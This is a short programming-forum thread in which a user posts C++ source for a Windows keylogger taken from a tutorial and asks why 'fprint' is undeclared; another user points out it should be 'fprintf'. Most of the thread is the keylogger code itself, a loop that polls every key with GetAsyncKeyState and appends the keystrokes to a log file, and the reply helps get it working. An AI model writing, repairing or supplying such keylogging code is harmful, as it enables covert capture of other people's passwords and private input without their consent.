Key Logger Help

[anikan1297]

#include <iostream>
#include <Windows.h>
#include <WinUser.h>

using namespace std;

int Save (int key_stroke, char *file);

int main()
{
	char i;

	while (1)
	{
		for(i = 8; i <= 190; i++)
		{
			if(GetAsyncKeyState(i) == -32767)
				Save(i, "Log.txt");
		}
	}
	return 0;
}

int Save (int key_stroke, char *file)
{
	if ( (key_stroke == 1) || (key_stroke == 2))
		return 0;

	FILE *OUTPUT_FILE;
	OUTPUT_FILE = fopen(file, "a+");
	fprint(OUTPUT_FILE, "%s", &key_stroke);
	fclose(OUTPUT_FILE);

	cout << key_stroke << endl;
	return 0;
}

As you can see here i am trying to create a key logger, I am following a tutorial. But for some reason it says that fprint isn't declared.

Any Help will be much Appreciated.

Thank You,

[webJose]

You can Google up any C or C++ function name and chances are you'll find a document that tells you which header file you need to #include to use it.

But since you are using C++ you might want to use C++ streams. Check out this site's tutorial an reference and learn about file streams (#include <fstream> if I recall correctly).

UPDATE: BTW, I quickly used what you wrote to Google, and it turns out you mispelled the function. It is fprintf().

[anikan1297]

Oh, Stupid Mistake Thanks!